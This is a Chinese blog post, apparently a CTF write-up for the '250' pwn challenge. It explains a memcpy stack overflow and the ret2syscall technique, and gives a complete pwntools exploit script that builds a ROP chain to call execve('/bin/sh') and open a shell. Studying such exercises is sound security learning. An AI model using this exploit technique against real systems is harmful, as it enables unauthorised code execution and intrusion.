//
xiaoaoaode
Published on 2020-06-17 / 11 Visits
0

攻防世界-“250”题Writeup

前言

这道题其实是比较简单的,而且好像有多种解法,我采用ret2syscall的解法,而攻防世界的Writeup上是使用mprotect修改权限再执行shellcode。

(博主还是菜鸟,有些知识可能理解不够透彻,有些表述可能不够严谨,欢迎大家指正,望大家多多包涵)

正文

程序保护相关信息20200611095835

这个memcpy函数很明显存在栈溢出漏洞image-20200611124407823

由于程序应该是静态编译的,而且没有开地址随机化,所以可以直接找需要的函数,但是仔细一翻可以发现并没有system函数,也没有/bin/sh之类的数据,所以需要自己构造一个。

最开始我是想使用用fopen打开flag文件再读取,打印出信息,但是在我尝试执行fopen的rop链时总是出现SIGSEGV错误,所以我想到了ret2syscall的解法

简单地说,只要我们把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。比如说这里我们利用如下系统调用来获取 shell

execve("/bin/sh",NULL,NULL)

其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

来源:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#ret2syscall

这里就需要找到一些gadget来构造系统调用

因为目标程序应该是静态编译的,所以相关的gadget也会比较多,很容易找到用于构造的部分

(因为/bin/sh并不在目标程序里,所以我这里先构造执行read(0,bss的某个地方,7)

脚本:

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
p = remote('000.000.000.000', 00000)

read_plt = 0x806d510
write_plt = 0x806d580
pop3_add = 0x08062fbb
int0x80_add = 0x0806cbb5
pop_eax_ret = 0x080b89e6
pop_ebx = 0x080481c9
pop_ecx = 0x080df1b9
pop_edx = 0x0806efbb
payload = 'A' * (0x3a + 0x4) + p32(read_plt) + p32(pop3_add) + p32(0) + p32(0x80ec300) + p32(7)
payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_ebx) + p32(0x80ec300) + p32(pop_ecx) + p32(0) + p32(pop_edx) + p32(0) + p32(int0x80_add)

p.sendlineafter('Size]', str(len(payload)))
p.sendafter('[YourData]', payload)
p.send('/bin/sh')
p.interactive()

总结

ret2syscall的基本使用